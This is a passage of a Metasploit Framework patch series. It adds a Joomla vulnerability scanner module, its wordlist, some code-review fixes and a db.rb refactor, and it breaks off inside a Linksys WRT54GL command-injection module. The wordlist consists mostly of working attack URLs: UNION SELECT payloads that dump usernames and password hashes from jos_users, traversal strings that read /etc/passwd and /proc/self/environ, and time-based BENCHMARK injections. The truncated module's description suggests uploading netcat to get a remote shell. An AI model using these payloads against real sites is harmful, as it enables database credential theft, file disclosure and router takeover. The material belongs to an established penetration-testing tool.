+index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 +index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb new file mode 100755 index 0000000000..c8cbfbae27 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -0,0 +1,270 @@ +## +# $Id: joomla_vulnscan.rb +## +## +#Thanks to @zeroSteiner @kaospunk helping with examples and questions. Also thanks to Joomscan and various MSF modules for code examples. +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Joomla Scanner', + 'Version' => '$Revision: 14774 $', + 'Description' => %q{ + This module scans the Joomla install for information and potential vulnerabilites. + }, + 'Author' => [ 'f8lerror' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('PATH', [ true, "The path to the Joomla install", '/']), + OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), + + OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", + File.join(Msf::Config.install_root, "data", "wordlists", "pcheck.txt") + ] + ) + + ], self.class) + end + + def osfingerprint(response) + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) + os = "Windows" + elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + end + return os + end + def fingerprint(response, app) + + if(response.body =~ /(.+)<\/version\/?>/i) + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + elsif(response.body =~ /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ or + response.body =~ /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ or + response.body =~ /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ or + response.body =~ /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ or + response.body =~/20196 2011\-01\-09 02\:40\:25Z ian/) + out = "1.6" + elsif(response.body =~ /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / or + response.body =~ /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ or response.body =~ /22183 2011\-09\-30 09\:04\:32Z infograf768/ or response.body =~ /21660 2011\-06\-23 13\:25\:32Z infograf768/) + out = "1.7" + elsif(response.body =~ /Joomla! 1.5/ or + response.body =~ /MooTools\=\{version\:\'1\.12\'\}/ or response.body =~ /11391 2009\-01\-04 13\:35\:50Z ian/) + out = "1.5" + elsif(response.body =~ /Copyright \(C\) 2005 \- 2012 Open Source Matters/ or + response.body =~ /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ ) + out = "2.5" + elsif(response.body =~ /\s+ tpath, + 'method' => 'GET', + }, 5) + return if not bres or not bres.body or not bres.code + bres.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| + papp = bapp.chomp + plugin_search(tpath,papp,ip,bres) + end + end + + end + def check_app(tpath, app, ip) + res = send_request_cgi({ + 'uri' => tpath+app, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + os = osfingerprint(res) + if (res.code.to_i == 200) + out = fingerprint(res,app) + return if not out + if(out =~ /Unknown Joomla/) + print_error("Unable to identify Joomla Version with this file #{app}") + return false + else + print_good("Joomla Version:#{out} from: #{app} ") + print_good("OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Joomla Version', + :data => out + ) + return true + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + + end + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + def scan_pages(tpath,iapp, ip) + res = send_request_cgi({ + 'uri' => tpath+iapp, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + if (res.code.to_i == 200) + if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + sout = "Administrator Login Page" + elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + sout = "Registration Page" + else + sout = iapp + end + return if not sout + if(sout == iapp) + print_good("#{iapp}") + elsif print_good("#{sout}: #{iapp} ") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Joomla Pages', + :data => sout + ) + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + def plugin_search(tpath,papp, ip, bres) + res = send_request_cgi({ + 'uri' => tpath+papp, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + osize = bres.body.size + nsize = res.body.size + if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("Found Plugin: #{papp} ") + if (papp =~/passwd/ and res.body !~/root/) + print_error("\tPasswd not found") + elsif(papp =~/passwd/ and res.body =~/root/) + print_good("\tPasswd file found in response") + elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) + print_good("\tPossible SQL Injection") + elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) + print_error("\tUnable to identify SQL injection") + elsif(papp =~/>alert/ and res.body !~/>alert/) + print_error("\tNo XSS") + elsif(papp =~/>alert/ and res.body =~/>alert/) + print_good("\tPossible XSS") + elsif(res.body =~/SQL syntax/ ) + print_error("\tPossible SQL Injection") + elsif(papp =~/com_/) + blah = papp.split('_') + blah1 = blah[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => tpath+"index.php?option=com_#{blah1}", + 'method' => 'GET', + }, 5) + if (res1.code.to_i == 200) + print_status("\tFound_page: index.php?option=com_#{blah1}") + end + end + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Plugin Found', + :data => papp + ) + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + + + +end From 5cfe58e8d508d2889deb808c9e0c9c3f2c4a4a75 Mon Sep 17 00:00:00 2001 From: f8lerror Date: Sun, 20 Jan 2013 22:33:04 -0500 Subject: [PATCH 09/87] General code review and corrections --- .../auxiliary/scanner/http/joomla_vulnscan.rb | 81 ++++++++++--------- 1 file changed, 43 insertions(+), 38 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index c8cbfbae27..37bfc3d173 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -20,9 +20,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Joomla Scanner', - 'Version' => '$Revision: 14774 $', 'Description' => %q{ - This module scans the Joomla install for information and potential vulnerabilites. + This module scans a Joomla install for information and potential vulnerabilites. }, 'Author' => [ 'f8lerror' ], 'License' => MSF_LICENSE @@ -40,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def osfingerprint(response) + def osfingerprint (response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) os = "Windows" @@ -51,8 +50,9 @@ class Metasploit3 < Msf::Auxiliary end end return os - end - def fingerprint(response, app) + end + + def fingerprint (response, app) if(response.body =~ /(.+)<\/version\/?>/i) v = $1 @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary return out end - def run_host(ip) + def run_host (ip) tpath = datastore['PATH'] if tpath[-1,1] != '/' tpath += '/' @@ -102,12 +102,12 @@ class Metasploit3 < Msf::Auxiliary apps.each do |app| break if check_app(tpath,app,ip) end - print_status("Scanning for interesting pages") + print_status("Scanning #{ip} for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - print_status("Scanning for plugins") + print_status("Scanning #{ip} for plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', @@ -118,12 +118,13 @@ class Metasploit3 < Msf::Auxiliary papp = bapp.chomp plugin_search(tpath,papp,ip,bres) end - end - end - def check_app(tpath, app, ip) + + end + + def check_app (tpath, app, ip) res = send_request_cgi({ - 'uri' => tpath+app, + 'uri' => "#{datastore['PATH']}" << app, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -159,13 +160,14 @@ class Metasploit3 < Msf::Auxiliary end end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end - def scan_pages(tpath,iapp, ip) + + def scan_pages (tpath, iapp, ip) res = send_request_cgi({ - 'uri' => tpath+iapp, + 'uri' => "#{datastore['PATH']}" << iapp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -201,13 +203,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") end end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end - def plugin_search(tpath,papp, ip, bres) + + def plugin_search (tpath, papp, ip, bres) res = send_request_cgi({ - 'uri' => tpath+papp, + 'uri' => "#{datastore['PATH']}" << papp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -217,30 +220,32 @@ class Metasploit3 < Msf::Auxiliary if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) print_good("Found Plugin: #{papp} ") if (papp =~/passwd/ and res.body !~/root/) - print_error("\tPasswd not found") + print_error("Passwd not found") elsif(papp =~/passwd/ and res.body =~/root/) - print_good("\tPasswd file found in response") + print_good("Passwd file found in response") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("\tPossible SQL Injection") + print_good("Possible SQL Injection") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - print_error("\tUnable to identify SQL injection") + print_error("Unable to identify SQL injection") elsif(papp =~/>alert/ and res.body !~/>alert/) - print_error("\tNo XSS") + print_error("No XSS") elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("\tPossible XSS") + print_good("Possible XSS") elsif(res.body =~/SQL syntax/ ) - print_error("\tPossible SQL Injection") + print_good("Possible SQL Injection") elsif(papp =~/com_/) - blah = papp.split('_') - blah1 = blah[1].gsub('/','') + vars = papp.split('_') + pages = vars[1].gsub('/','') res1 = send_request_cgi({ - 'uri' => tpath+"index.php?option=com_#{blah1}", + 'uri' => "#{datastore['PATH']}"<<"index.php?option=com_#{pages}", 'method' => 'GET', }, 5) if (res1.code.to_i == 200) - print_status("\tFound_page: index.php?option=com_#{blah1}") - end + print_good("Found Page: index.php?option=com_#{pages}") + else + print_error("#{datastore['PATH']}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") end + end report_note( :host => ip, :port => datastore['RPORT'], @@ -257,12 +262,12 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} requires a SSL client certificate") else print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") - end end + end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end From cfeccaa4f8046643db656256aaae9812cf02078c Mon Sep 17 00:00:00 2001 From: Stephen Haywood Date: Sun, 20 Jan 2013 23:26:53 -0500 Subject: [PATCH 10/87] Noted support for importing XML reports. --- plugins/openvas.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 247a0b7a7d..34d8140552 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -530,7 +530,7 @@ class Plugin::OpenVAS < Msf::Plugin end else print_status("Usage: openvas_report_import ") - print_status("Only the NBE format is supported for importing.") + print_status("Only the NBE and XML formats are supported for importing.") end end From f05e3580589444abcb6ce7256518d5c30894019c Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Mon, 21 Jan 2013 00:46:05 -0600 Subject: [PATCH 11/87] replace unless rhosts.include? with rhosts.uniq! seems like this will speed up the process due to far less Array lookups --- lib/msf/ui/console/command_dispatcher/db.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index c590424829..8537227213 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -283,8 +283,9 @@ class Db if set_rhosts # only unique addresses addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end + rhosts.uniq! end end return @@ -323,8 +324,9 @@ class Db tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end + rhosts.uniq! if mode == :delete host.destroy delete_count += 1 @@ -347,6 +349,8 @@ class Db set_rhosts_from_addrs(rhosts) if set_rhosts print_status("Deleted #{delete_count} hosts") if delete_count > 0 } +## +## end def cmd_services_help @@ -508,8 +512,9 @@ class Db tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end + rhosts.uniq! if (mode == :delete) service.destroy @@ -828,8 +833,9 @@ class Db end if set_rhosts addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end + rhosts.uniq! creds_returned += 1 end @@ -954,8 +960,9 @@ class Db msg << " host=#{note.host.address}" if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr unless rhosts.include?(addr) + rhosts << addr end + rhosts.uniq! end if (note.service) name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") From 62ff52280a478026b0d832a69c39cbcfc38f65f1 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 21 Jan 2013 13:19:29 +0100 Subject: [PATCH 12/87] initial linksys OS command injection --- .../admin/http/linksys_wrt54gl_exec.rb | 144 ++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb new file mode 100644 index 0000000000..e9f525b7ec --- /dev/null +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -0,0 +1,144 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT54GL Remote Command Execution', + 'Description' => %q{ + Some Linksys Routers are vulnerable to OS Command injection. + You will need credentials to the webinterface to access the vulnerable part + of the application. + Default credentials are always a good starting point. admin/admin or admin + and blank password could be a first try. + Note: This is a blind os command injection vulnerability. This means that + you will not see any output of your command. Try a ping command to your + local system for a first test. + + Hint: To get a remote shell you could upload a netcat 